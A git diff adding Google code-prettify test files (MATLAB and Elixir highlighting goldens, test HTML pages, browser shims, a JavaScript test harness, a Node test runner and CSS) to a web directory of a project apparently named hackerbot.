`ENDx`END`PLN `END`PUN=`END`PLN `END`LIT0`END`PUN;`END`PLN\n' + + ' `END`KWDend`END`PLN\n' + + ' `END`FUNmethods`END`PLN\n' + + ' `END`KWDfunction`END`PLN `ENDthis`END`PLN `END`PUN=`END`PLN `ENDCC`END`TAG(`ENDvarargin`END`TAG)`END`PLN\n' + + ' `ENDthis.x`END`PLN `END`PUN=`END`PLN `END`LIT9`END`PUN;`END`PLN\n' + + ' `END`KWDend`END`PLN\n' + + ' `END`KWDend`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`ENDx`END`PLN `END`PUN=`END`PLN `END`TAG[]`END`PUN;`END`PLN\n' + + '`END`KWDparfor`END`PLN `ENDi`END`PUN=`END`LIT1`END`PUN:`END`LIT10`END`PLN\n' + + ' `ENDx`END`TAG[`ENDi`END`TAG]`END`PLN `END`PUN=`END`PLN `ENDi`END`PUN;`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`ENDtrue`END`PLN `END`PUN~=`END`PLN `ENDfalse`END`PLN\n' + + '\n' + + '`END`KWDif`END`PLN `ENDx`END`PUN==`END`LIT1`END`PLN\n' + + ' `ENDtrue`END`PLN\n' + + '`END`KWDelseif`END`PLN\n' + + ' `ENDfalse`END`PLN\n' + + '`END`KWDelse`END`PLN\n' + + ' `END`KWDreturn`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`END`KWDwhile`END`PLN `ENDtrue`END`PLN\n' + + ' `END`KWDcontinue`END`PLN\n' + + ' `END`KWDbreak`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`END`KWDtry`END`PLN\n' + + ' `END`FUNerror`END`TAG(`END`STR\'aa:aa\'`END`PUN,`END`PLN `END`STR\'asdasd\'`END`TAG)`END`PLN\n' + + '`END`KWDcatch`END`PLN `ENDME`END`PLN\n' + + ' `END`FUNwarning`END`TAG(`ENDME`END`TAG)`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`END`KWDswitch`END`PLN `ENDx`END`PLN\n' + + ' `END`KWDcase`END`PLN `END`LIT1`END`PLN\n' + + ' `END`FUNdisp`END`TAG(`END`LIT1`END`TAG)`END`PLN\n' + + ' `END`KWDotherwise`END`PLN\n' + + ' `END`LIT0`END`PLN\n' + + '`END`KWDend`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% NUM LITERALS %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END`LIT1`END`PLN\n' + + '`END`LIT1.`END`PLN\n' + + '`END`LIT.1`END`PLN\n' + + '`END`LIT1.0`END`PLN\n' + + '`END`LIT-1`END`PLN\n' + + '`END`LIT-1.`END`PLN\n' + + '`END`LIT-.1`END`PLN\n' + + '`END`LIT-1.0`END`PLN\n' + + '`END`LIT+10`END`PLN\n' + + '`END`LIT+01.`END`PLN\n' + + '`END`LIT+.1`END`PLN\n' + + '`END`LIT+1.0`END`PLN\n' + + '`END`LIT1e1`END`PLN\n' + + '`END`LIT1e-1`END`PLN\n' + + '`END`LIT1.e1`END`PLN\n' + + '`END`LIT1.e-1`END`PLN\n' + + '`END`LIT1.0e1`END`PLN\n' + + '`END`LIT1.0e-1`END`PLN\n' + + '`END`LIT.1e1`END`PLN\n' + + '`END`LIT.1e-1`END`PLN\n' + + '`END`LIT-.1e+1`END`PLN\n' + + '`END`LIT+1.e-1`END`PLN\n' + + '\n' + + '`END`LIT1i`END`PLN\n' + + '`END`LIT.10j`END`PLN\n' + + '`END`LIT-1.001i`END`PLN\n' + + '`END`LIT+1e-100j`END`PLN\n' + + '`END`LIT-.10e-01i`END`PLN\n' + + '\n' + + '`END`COM% unary vs binary operators`END`PLN\n' + + '`END`LIT1+1`END`PLN\n' + + '`END`LIT1`END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + '`END`LIT1`END`PLN `END`LIT+1`END`PLN\n' + + '`END`LIT1`END`PLN `END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + '`END`LIT+1+1`END`PLN\n' + + '`END`LIT+1`END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + '`END`LIT+1`END`PLN `END`LIT+1`END`PLN\n' + + '`END`LIT+1`END`PLN `END`PUN+`END`PLN `END`LIT1`END`PLN\n' + + '\n' + + '`END`COM%%%%%%%%%%%%%%%%%% COMMENTS %%%%%%%%%%%%%%%%%%`END`PLN\n' + + '\n' + + '`END`COM% % comment % %`END`PLN\n' + + ' `END`COM% comment`END`PLN\n' + + '`END`COM% comment`END`PLN\n' + + '`END`COM%# comment`END`PLN\n' + + '`END`COM%% comment`END`PLN\n' + + '`END`COM%#x = sum(x);`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + 'block comment\n' + + '%}`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + '%}`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + '\n' + + '%}`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + '1\n' + + '2\n' + + '%}`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + '% sdf {}\n' + + 'sdf\n' + + '%asda{}\n' + + 'sfds\n' + + '%}`END`PLN\n' + + '\n' + + ' `END`COM%{\n' + + 'dsf\n' + + ' %}`END`PLN\n' + + '\n' + + '`END`COM%{%}`END`PLN\n' + + '\n' + + '`END`COM%{ zzz=10; %}`END`PLN\n' + + '\n' + + '`END`COM%{%x=10;%}`END`PLN\n' + + '\n' + + '`END`COM%{ x\n' + + 'a=10;\n' + + '%}`END`PLN\n' + + '\n' + + '`END`COM%{\n' + + '%a=10;\n' + + '%}`END`PLN `ENDx`END`PLN\n' + + '\n' + + '`END`COM% nested block comments fail`END`PLN\n' + + '`END`COM%{\n' + + 'dfsdf\n' + + '%{\n' + + 'xxx\n' + + '%}`END`PLN\n' + + '`ENDdfsdf`END`PLN\n' + + '`END`COM%}`END`PLN\n' + + '\n' + + '`END`COM% fails here!`END`PLN\n' + + '`END`COM%{\n' + + 'x=10;\n' + + '%%{\n' + + '%%}`END`PLN\n' + + '`ENDy`END`PUN=`END`LIT20`END`PUN;`END`PLN\n' + + '`END`COM%}`END' + ), + elixir: ('`KWDdefmodule`END`PLN `END`TYPFoo`END`PUN.`END`TYPBar`END`PLN `END`KWDdo`END`PLN\n' + +' `END`ATN@moduledoc`END`PLN `END`STR"""\n' + +' Tests syntax highlighting for Elixir\n' + +' """`END`PLN\n' + +'\n' + +' `END`KWDuse`END`PLN `END`TYPBitwise`END`PLN\n' + +' `END`KWDrequire`END`PLN `END`TYPLogger`END`PLN\n' + +' `END`KWDalias`END`PLN `END`ATN__MODULE__`END`PUN,`END`PLN `END`LITas:`END`PLN `END`TYPThis`END`PLN\n' + +'\n' + +' `END`ATN@default_token_length`END`PLN `END`LIT10_000`END`PLN\n' + +'\n' + +'\n' + +' `END`ATN@spec`END`PLN token`END`PUN(`END`PLNlength `END`PUN::`END`PLN integer`END`PUN)`END`PLN `END`PUN::`END`PLN `END`TYPString`END`PUN.`END`PLNt\n' + +'\n' + +' `END`KWDdef`END`PLN token`END`PUN(`END`PLNlength `END`PUN\\\\`END`PLN `END`ATN@default_token_length`END`PUN),`END`PLN `END`KWDdo`END`PUN:`END`PLN `END`TYPString`END`PUN.`END`PLNduplicate`END`PUN(`END`STR"x"`END`PUN,`END`PLN length`END`PUN)`END`PLN\n' + +'\n' + +'\n' + +' `END`KWDdefp`END`PLN `END`COM_not_exported`END`PUN(),`END`PLN `END`KWDdo`END`PUN:`END`PLN `END`LIT0xFF`END`PLN `END`PUN+`END`PLN `END`LIT0xF_F`END`PLN `END`PUN-`END`PLN `END`LIT0xff`END`PLN\n' + +'\n' + +'\n' + +' `END`KWDdef`END`PLN other`END`PUN(`END`PLNfoo`END`PUN,`END`PLN bar`END`PUN)`END`PLN `END`KWDdo`END`PLN\n' + +' fun `END`PUN=`END`PLN `END`KWDfn`END`PUN{`END`COM_a`END`PUN,`END`PLN b`END`PUN}`END`PLN `END`PUN->`END`PLN b `END`PUN+`END`PLN `END`LIT1_3.1_4`END`PLN `END`KWDend`END`PLN\n' + +' fun`END`PUN.(`END`LIT1.0e+20`END`PUN)`END`PLN\n' + +' `END`COM_str`END`PLN `END`PUN=`END`PLN `END`STR"string without #{inspect(42)} interpolation"`END`PLN `END`PUN<>`END`PLN `END`STR" some more\n' + +' with newlines \\\n' + +' and newlines"`END`PLN\n' + +' charlist `END`PUN=`END`PLN `END`LIT\'some\\\'chars\n' + +' with newlines \\\n' + +' and newlines\'`END`PLN\n' + +' `END`PUN<<`END`PLNx`END`PUN::`END`PLNutf8`END`PUN,`END`PLN `END`COM_y`END`PUN::`END`PLNsize`END`PUN(`END`LIT8`END`PUN),`END`PLN data`END`PUN::`END`PLNbinary`END`PUN>>`END`PLN `END`PUN=`END`PLN `END`STR"fooo"`END`PLN\n' + +' ls `END`PUN=`END`PLN `END`PUN[`END`LIT1`END`PLN `END`PUN|`END`PLN `END`PUN[`END`LIT2`END`PUN,`END`PLN `END`LIT3`END`PUN]]`END`PLN\n' + +' map `END`PUN=`END`PLN `END`PUN%{`END`STR"baz"`END`PLN `END`PUN=>`END`PLN `END`STR"ban"`END`PUN}`END`PLN\n' + +' map `END`PUN=`END`PLN `END`PUN%{`END`LITfoo:`END`PLN `END`LIT:bar`END`PUN,`END`PLN `END`LIT"yes, this compiles":`END`PLN `END`LIT:"also an atom"`END`PUN}`END`PLN\n' + +' `END`LIT:erlang`END`PUN.`END`PLNtime`END`PUN()`END`PLN\n' + +' `END`KWDcase`END`PLN `END`PUN{`END`PLNfoo`END`PUN,`END`PLN bar`END`PUN}`END`PLN `END`KWDdo`END`PLN\n' + +' `END`PUN{`END`LIT1`END`PUN,`END`PLN `END`LIT2`END`PUN}`END`PLN `END`PUN->`END`PLN `END`LIT3`END`PLN\n' + +' `END`COM_something_else`END`PLN `END`PUN->`END`PLN `END`LIT:error`END`PLN\n' + +' `END`COM_`END`PLN `END`PUN->`END`PLN `END`LIT:"this won\'t match"`END`PLN\n' + +' `END`KWDend`END`PLN\n' + +' r `END`PUN=`END`PLN `END`LIT2`END`PLN\n' + +' `END`COM_bitwise_not`END`PLN `END`PUN=`END`PLN `END`PUN~~~`END`PLNr\n' + +'\n' + +' `END`ATV~r/foo/iu`END`PLN `END`COM# regex sigils are treated as normal ones`END`PLN\n' + +' `END`ATV~S|we have "quotes" and \'quotes\' and|`END`PLN `END`PUN<>`END`PLN `END`STR" more string"`END`PLN\n' + +' `END`ATV~c"custom sigil char \\"is\\" fine too"`END`PLN\n' + +' `END`ATV~r\'hello\'`END`PLN\n' + +' `END`ATV~w[hell\\] #o]`END`PLN `END`COM#sigil does not expand to the comment`END`PLN\n' + +' `END`ATV~w{hello}`END`PLN\n' + +' `END`ATV~C<hello>`END`PLN\n' + +' `END`KWDend`END`PLN\n' + +'\n' + +'`END`KWDend`END') +}; diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/recombineTagsAndDecorations_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/recombineTagsAndDecorations_test.html new file mode 100644 index 000000000..f69972304 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/recombineTagsAndDecorations_test.html @@ -0,0 +1,119 @@ + + + + +recombineTagsAndDecorations + + + + + + + + +

Recombine Tags And Decorations Test

+ + + + + + + + + + + + + + + + + + + + + + + +
Test Single Decoration
"Hello, World!"[0, 'str']"Hello, World!"
Test Single Span
print "Hello, <World>!";[0, 'kwd', 5, 'pln', 6, 'str', 14, 'tag', 21, 'str', 23, 'pun']print "Hello, <World>!";
Test Interleaved
print "Hello, <World>!";[0, 'kwd', 5, 'pln', 6, 'str', 14, 'tag', 21, 'str', 23, 'pun']print "Hello, <World>!";
+ +
+

Log

+
+ + + + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/run_prettify_test.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/run_prettify_test.html new file mode 100644 index 000000000..e71370e60 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/run_prettify_test.html @@ -0,0 +1,78 @@ + + + + +Run_Prettify Test + + + + + + +

run_prettify test

+

Note: try appending ?loader to this page URL to test the +minified version instead.

+ +

Test

+
+<div style="color: #f00">
+  Hello, World!
+</div>
+
+ +

Log

+
+ + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/shims.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/shims.js new file mode 100644 index 000000000..77cb9dc92 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/shims.js @@ -0,0 +1,105 @@ +/** + * Shim for ES5 Date.now + * for older browsers (IE < 9, FF < 3, etc.) + * + * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now#Polyfill + */ +(function () { + if (!Date.now) { + Date.now = function now() { + return new Date().getTime(); + }; + } +})(); + +/** + * Shim for HTML5 getElementsByClassName + * for older browsers (IE < 9, FF < 3, etc.) + */ +(function () { + if (!document.getElementsByClassName) { + document.getElementsByClassName = function (className) { + className = className.replace(/\s+/g, ' ').replace(/^\s*|\s*$/g, ' '); + var results = []; + function walk(node) { + if (node.nodeType !== 1) { return; } + // This test should be order-insensitive. + if ((' ' + node.className + ' ').indexOf(className) >= 0) { + results[results.length] = node; + } + for (var child = node.firstChild; child; child = child.nextSibling) { + walk(child); + } + } + walk(document.body); + return results; + }; + } +})(); + +/** + * Shim for "fixing" IE's lack of support (IE < 9) for applying slice + * on host objects like NamedNodeMap, NodeList, and HTMLCollection + * (technically, since host objects have been implementation-dependent, + * at least before ES2015, IE hasn't needed to work this way). + * Also works on strings, fixes IE < 9 to allow an explicit undefined + * for the 2nd argument (as in Firefox), and prevents errors when + * called on other DOM objects. + * + * @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice#Streamlining_cross-browser_behavior + */ +(function () { + 'use strict'; + var _slice = Array.prototype.slice; + + try { + // Can't be used with DOM elements in IE < 9 + _slice.call(document.documentElement); + } catch (e) { // Fails in IE < 9 + // This will work for genuine arrays, array-like objects, + // NamedNodeMap (attributes, entities, notations), + // NodeList (e.g., getElementsByTagName), HTMLCollection (e.g., childNodes), + // and will not fail on other DOM objects (as do DOM elements in IE < 9) + Array.prototype.slice = function(begin, end) { + // IE < 9 gets unhappy with an undefined end argument + end = (typeof end !== 'undefined') ? end : this.length; + + // For native Array objects, we use the native slice function + if (Object.prototype.toString.call(this) === '[object Array]') { + return _slice.call(this, begin, end); + } + + // For array like object we handle it ourselves. + var i, cloned = [], + size, len = this.length; + + // Handle negative value for "begin" + var start = begin || 0; + start = (start >= 0) ? start : Math.max(0, len + start); + + // Handle negative value for "end" + var upTo = (typeof end === 'number') ? Math.min(end, len) : len; + if (end < 0) { + upTo = len + end; + } + + // Actual expected size of the slice + size = upTo - start; + + if (size > 0) { + cloned = new Array(size); + if (this.charAt) { + for (i = 0; i < size; i++) { + cloned[i] = this.charAt(start + i); + } + } else { + for (i = 0; i < size; i++) { + cloned[i] = this[start + i]; + } + } + } + + return cloned; + }; + } +}()); diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_base.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_base.js new file mode 100644 index 000000000..6590c6a3a --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_base.js @@ -0,0 +1,412 @@ +/** + * @license + * Copyright (C) 2015 Google Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/** + * Dynamically load script + * + * @param {string} url JavaScript file + * @param {Function=} opt_func onload callback + */ +function injectJS(url, opt_func) { + var el = document.createElement('script'); + if (typeof opt_func === 'function') { + el.onload = el.onerror = el.onreadystatechange = function () { + if (el && (!el.readyState || /loaded|complete/.test(el.readyState))) { + el.onerror = el.onload = el.onreadystatechange = null; + el = null; + opt_func(); + } + }; + } + el.type = 'text/javascript'; + el.src = url; + document.getElementsByTagName('head')[0].appendChild(el); +} + +/** + * Dynamically load stylesheet + * + * @param {string} url CSS file + */ +function injectCSS(url) { + var el = document.createElement('link'); + el.rel = 'stylesheet'; + el.type = 'text/css'; + el.href = url; + document.getElementsByTagName('head')[0].appendChild(el); +} + +/** + * Perform syntax highlighting and execute tests to verify results. + * + * @param {Object} goldens a mapping from IDs of prettyprinted + * chunks to an abbreviated form of the expected output. See "var goldens" + * in prettify_test.html and prettify_test_2.html for examples. + */ +function runTests(goldens) { + // Regexp literals defined here so that the interpreter doesn't have to + // compile them each time the function containing them is called. + /** @const {RegExp} */ + var ampRe = /&/g; + /** @const {RegExp} */ + var ltRe = //g; + /** @const {RegExp} */ + var quotRe = /\"/g; + /** @const {RegExp} */ + var nbspRe = /\xa0/g; + /** @const {RegExp} */ + var newlineRe = /[\r\n]/g; + /** @const {RegExp} */ + var voidElemsRe = /^(?:br|hr|link|img)$/; + + /** @type {?boolean} */ + var innerHtmlWorks = null; + + /** + * Get timestamp in milliseconds unit. + * + * @return {number} + */ + function now() { + return (Date.now ? Date.now() : (new Date()).getTime()); + } + + /** + * Escapes HTML special characters to HTML. + * + * @param {string} str the HTML to escape + * @return {string} output escaped HTML + */ + function textToHtml(str) { + return str + .replace(ampRe, '&') + .replace(ltRe, '<') + .replace(gtRe, '>'); + } + + /** + * Like {@link textToHtml} but escapes double quotes to be attribute safe. + * + * @param {string} str the HTML to escape + * @return {string} output escaped HTML + */ + function attribToHtml(str) { + return textToHtml(str).replace(quotRe, '"'); + } + + /** + * convert a plain text string to HTML by escaping HTML special chars. + * + * @param {string} plainText + * @return {string} + */ + function htmlEscape(plainText) { + return attribToHtml(plainText).replace(nbspRe, ' '); + } + + /** + * Traverse node and manually build `innerHTML`. + * + * @param {Node} node DOM node + * @param {string} out HTML content + * @param {boolean=} opt_sortAttrs if attributes should be sorted + */ + function normalizedHtml(node, out, opt_sortAttrs) { + switch (node.nodeType) { + case 1: // ELEMENT_NODE + // start-tag + var name = node.tagName.toLowerCase(); + out.push('<', name); + // attributes + var attrs = node.attributes; + var n = attrs.length; + if (n) { + if (opt_sortAttrs) { + // sort attributes by name + var sortedAttrs = []; + for (var i = n; --i >= 0;) { sortedAttrs[i] = attrs[i]; } + sortedAttrs.sort(function (a, b) { + return (a.name < b.name) ? -1 : (a.name === b.name ? 0 : 1); + }); + attrs = sortedAttrs; + } + for (var i = 0; i < n; ++i) { + var attr = attrs[i]; + // specified: vs. + if (!attr.specified) { continue; } + out.push(' ', attr.name.toLowerCase(), + '="', attribToHtml(attr.value), '"'); + } + } + out.push('>'); + // children + for (var child = node.firstChild; child; child = child.nextSibling) { + normalizedHtml(child, out, opt_sortAttrs); + } + // end-tag + if (node.firstChild || !voidElemsRe.test(name)) { + out.push('<\/', name, '>'); + } + break; + case 3: // TEXT_NODE + case 4: // CDATA_SECTION_NODE + out.push(textToHtml(node.nodeValue)); + break; + } + } + + /** + * get normalized markup. innerHTML varies enough across browsers that we + * can't use it. + * + * @param {Node} node + * @return {string} + */ + function normalizedInnerHtml(node) { + // manually build innerHTML with sorted attributes + var out = []; + for (var child = node.firstChild; child; child = child.nextSibling) { + normalizedHtml(child, out, true); + } + out = out.join(''); + + // more normalization to work around problems with non-ascii chars in + // regexps in Safari + for (var i = 0; (i = out.indexOf('\xa0')) >= 0;) { + out = out.substring(0, i) + ' ' + out.substring(i + 1); + } + return out.replace(/\r\n?/g, '\n'); + } + + /** + * Are newlines and adjacent spaces significant in the given node's + * `innerHTML`? + * + * @param {Node} node DOM node + * @param {string} content its HTML content + * @return {boolean} is it preformatted + */ + function isPreformatted(node, content) { + // PRE means preformatted, and is a very common case, so don't create + // unnecessary computed style objects. + if ('PRE' === node.tagName) { return true; } + if (!newlineRe.test(content)) { return true; } // Don't care + var whitespace = ''; + // For disconnected nodes, IE has no currentStyle. + if (node.currentStyle) { + whitespace = node.currentStyle.whiteSpace; + } else if (window.getComputedStyle) { + // Firefox makes a best guess if node is disconnected whereas Safari + // returns the empty string. + whitespace = window.getComputedStyle(node, null).whiteSpace; + } + return !whitespace || whitespace === 'pre'; + } + + /** + * Get `innerHTML` of a node + * + * @param {Node} node DOM node + * @return {string} HTML content + */ + function getInnerHtml(node) { + // innerHTML is hopelessly broken in Safari 2.0.4 when the content is + // an HTML description of well formed XML and the containing tag is a PRE + // tag, so we detect that case and emulate innerHTML. + if (null === innerHtmlWorks) { + var testNode = document.createElement('pre'); + testNode.appendChild( + document.createTextNode('\n')); + innerHtmlWorks = !/)[\r\n]+/g, '$1') + .replace(/(?:[\r\n]+[ \t]*)+/g, ' '); + } + return content; + } else { + var out = []; + for (var child = node.firstChild; child; child = child.nextSibling) { + normalizedHtml(child, out); + } + return out.join(''); + } + } + + /** + * number of characters in common from the beginning. + * + * @param {string} a + * @param {string} b + * @return {number} + */ + function commonPrefix(a, b) { + var n = Math.min(a.length, b.length); + var i; + for (i = 0; i < n; ++i) { + if (a.charAt(i) !== b.charAt(i)) { break; } + } + return i; + } + + /** + * number of characters in common at the end up to max. + * + * @param {string} a + * @param {string} b + * @param {number} max + * @return {number} + */ + function commonSuffix(a, b, max) { + var n = Math.min(a.length - max, b.length - max); + var i; + for (i = 0; i < n; ++i) { + if (a.charAt(a.length - i - 1) !== b.charAt(b.length - i - 1)) { break; } + } + return i; + } + + /** + * Replace whitespace characters with printable graphical representations. + * + * @param {string} txt + * @return {string} + */ + function showAllCharacters(txt) { + // space = \xb7, \u02f0, \u2219, \u2423, \u2420 + // htab = \xbb, \u21e5, \u25b8, \u2409 + // newline = \xac, \xb6, \u21b5, \u2424 + // vtab = \u240B + // ffeed = \u240C + return txt + .replace(/ /g, '\xb7') + .replace(/(\r?\n)/g, '\u21b5$1') + .replace(/\t/g, '\u25b8') + .replace(/\v/g, '\u240B') + .replace(/\f/g, '\u240C'); + } + + /** + * Find differences between two texts, and return an HTML report. + * + * @param {string} golden text + * @param {string} actual text + * @return {string} HTML representation + */ + function diffTexts(golden, actual) { + if (true) { + golden = showAllCharacters(golden); + actual = showAllCharacters(actual); + } + var npre = commonPrefix(golden, actual); + var npost = commonSuffix(golden, actual, npre); + return ( + '
Golden<\/th>' + + htmlEscape(golden.substring(0, npre)) + + '»' + + htmlEscape(golden.substring(npre, golden.length - npost)) + + '<\/span>«' + + htmlEscape(golden.substring(golden.length - npost)) + + '<\/code><\/td><\/tr>
Actual<\/th>' + + htmlEscape(actual.substring(0, npre)) + + '»' + + htmlEscape(actual.substring(npre, actual.length - npost)) + + '<\/span>«' + + htmlEscape(actual.substring(actual.length - npost)) + + '<\/code><\/td><\/tr><\/table>' + ); + } + + /** + * Convert golden from abbreviated form back to original text + * + * @param {string} golden + * @return {string} + */ + function expandGolden(golden) { + return golden.replace(/`([A-Z]{3})/g, function (_, lbl) { + // convert abbreviations that start with ` + return (lbl === 'END' ? '<\/span>' : + ''); + }) + // line numbers + .replace(/`#(?![0-9])/, '
  • ') + .replace(/`#([0-9])/g, '<\/li>
  • '); + } + + /** + * Compare tests results against expected outcomes. + * + * @param {Object} goldens + * @return {{html: Array, pass: integer, fail: integer}} HTML report + */ + function runComparison(goldens) { + var out = []; + var npass = 0; + var nfail = 0; + for (var id in goldens) { + // compare actual against expexted + var golden = expandGolden(goldens[id]); + var actual = normalizedInnerHtml(document.getElementById(id)); + var diff = golden !== actual; + out.push('
    ' + (diff ? 'FAIL' : 'PASS') + + ': ' + id + '<\/a><\/div>'); + if (diff) { + ++nfail; + // write out difference + out.push( + diffTexts(golden, actual).replace(/<br>/g, '<br>\n')); + } else { + ++npass; + } + } + out.unshift( + '

    \u2714 ' + npass + ' passing<\/p>', + '

    \u2718 ' + nfail + ' failing<\/p>'); + out.push('

    Tests ' + + (nfail ? 'failed' : 'passed') + '<\/h3>'); + return { + html: out, + pass: npass, + fail: nfail + }; + } + + // for more accurate timing, no continuation. + // This file must be loaded after prettify.js for this to work. + window.PR_SHOULD_USE_CONTINUATION = false; + + // time syntax highlighting + var t = now(); // tic + PR.prettyPrint(function () { + t = now() - t; // toc + + // verify results against golden and write HTML report + var report = runComparison(goldens); + document.title += (' \u2014 ' + (report.fail ? 'FAIL' : 'PASS')); + report.html.unshift('

    Took ' + t + ' ms<\/p>'); + document.getElementById('report').innerHTML = report.html.join('\n'); + }); +} diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_in_node b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_in_node new file mode 100644 index 000000000..1cd5c625d --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_in_node @@ -0,0 +1,89 @@ +#!/usr/bin/env node + +var path = require('path'); +var Browser = require('zombie'); +var htmlToText = require('html-to-text'); + +var optsZombie = { + debug: false, + silent: false, + waitDuration: '10s', + runScripts: true +}; +var optsHTT = { + wordwrap: 80, // process.stdout.columns + tables: true, + ignoreHref: true, + preserveNewlines: true, + singleNewLineParagraphs: true +}; + +var jobs = process.argv.slice(2); +var returnCode = 0; +var browser = null; + +// start processing pages +startBrowser(); + +function startBrowser() { + // close any previous browser sessions + if (browser) { + //browser.window.close(); + browser.destroy(); + } + + // next URL + var url = jobs.shift(); + if (url === undefined) { + console.log('>> Complete'); + process.exit(returnCode); + return; + } else if (!/^(?:https?|ftp):/.test(url)) { + // rewrite local path as a file:// URL + url = encodeURI('file://' + path.resolve(url).replace(/\\/g, '/')); + } + + // load page + console.log('>> Loading %s ...', url); + browser = new Browser(optsZombie); + if (optsZombie.debug) { browser.debug(); } + browser.visit(url).then(checkCb).catch(problemCb); +} + +function problemCb(err) { + // log error, and process next page + console.warn('>> ' + err); + returnCode = 1; + startBrowser(); +} + +function checkCb() { + var done = false; + + // check for errors + function onProb(err) { + console.warn('>> ' + err); + returnCode = 1; + done = true; + } + (browser.errors || []).forEach(onProb); + (browser.document.errors || []).forEach(onProb); + + // retrieve and log results + var report = browser.html('#report'); + if (report && report.length) { + done = true; + //console.log(browser.text('#report')); + console.log(htmlToText.fromString( + // HACK: replace

    tags with

    + // https://github.com/werk85/node-html-to-text/issues/71 + report.replace(/(<\/?)div/ig, '$1p'), optsHTT)); + } + + // process next page if done, otherwise wait for page to complete loading + if (done) { + startBrowser(); + } else { + browser.wait().then(checkCb).catch(problemCb); + } +} diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_modules.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_modules.css new file mode 100644 index 000000000..ecc8141e6 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_modules.css @@ -0,0 +1,90 @@ +/* tests table */ +table { + border-collapse: collapse; + border-spacing: 0; +} +table, th, td { + border: 1px solid black; +} +td, th { + padding: 2px; +} +tr { + vertical-align: top; +} +th { + background-color: #FFD; +} +td { + font-family: monospace; +} + +/* tests */ +.input, .golden, .actual, .decorations { + white-space: pre; +} + +/* results */ +.ok { + background-color: #DFD; +} +.failure, .error { + background-color: #FDD; +} +.ok:after { + color: green; + content: '\a[PASS]'; + font-weight: bold; +} +.failure:after { + color: red; + content: '\a[FAIL]'; + font-weight: bold; +} +.error:after { + color: #AF7817; + content: '\a[ERROR]'; + font-weight: bold; +} + +/* used in extractSourceSpans_test.html */ +.break { + padding-left: 2px; + border-right-style: dotted !important; +} +.odd, .even { + border-style: solid; + border-width: 1px; +} +.even { + background-color: #fff; + border-color: #888; +} +.odd { + background-color: #ddd; + border-color: #000; +} + +/* log */ +#report { + margin-left: 1em; +} +.pass { + color: green; +} +.fail, .err { + color: red; +} + +/* diff tables */ +table.diff { + table-layout: fixed; + max-width: 100%; +} +.diff th { + width: 50px; +} +.diff td { + white-space: pre-wrap; + word-wrap: break-word; +} diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_styles.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_styles.css new file mode 100644 index 000000000..47e4b369d --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/test_styles.css @@ -0,0 +1,61 @@ +/** + * @license + * Copyright (C) 2015 Google Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +/* used by test_base.js */ +#report { + margin-left: 1em; +} +.pass { + color: green; +} +.fail { + color: red; +} +.mismatch { + background-color: #faa; + font-weight: bold; +} + +/* diff tables */ +table.diff { + border-collapse: collapse; + border-spacing: 0; + table-layout: fixed; + width: 100%; +} +.diff th, .diff td { + border: 1px solid black; +} +.diff th { + background-color: #FFD; + width: 50px; +} +.diff td { + white-space: pre-wrap; + word-wrap: break-word; +} + +/* used in prettify_test.html issue 22 */ +.annot { + background-color: #eef; + border: 1px dotted #88f; + margin: 2px 2px 2px 3em; + padding: 0 2px 0 2px; +} +.nocode { + background-color: #f8f8f8; +} diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tools/closure-compiler/amd-externs.js 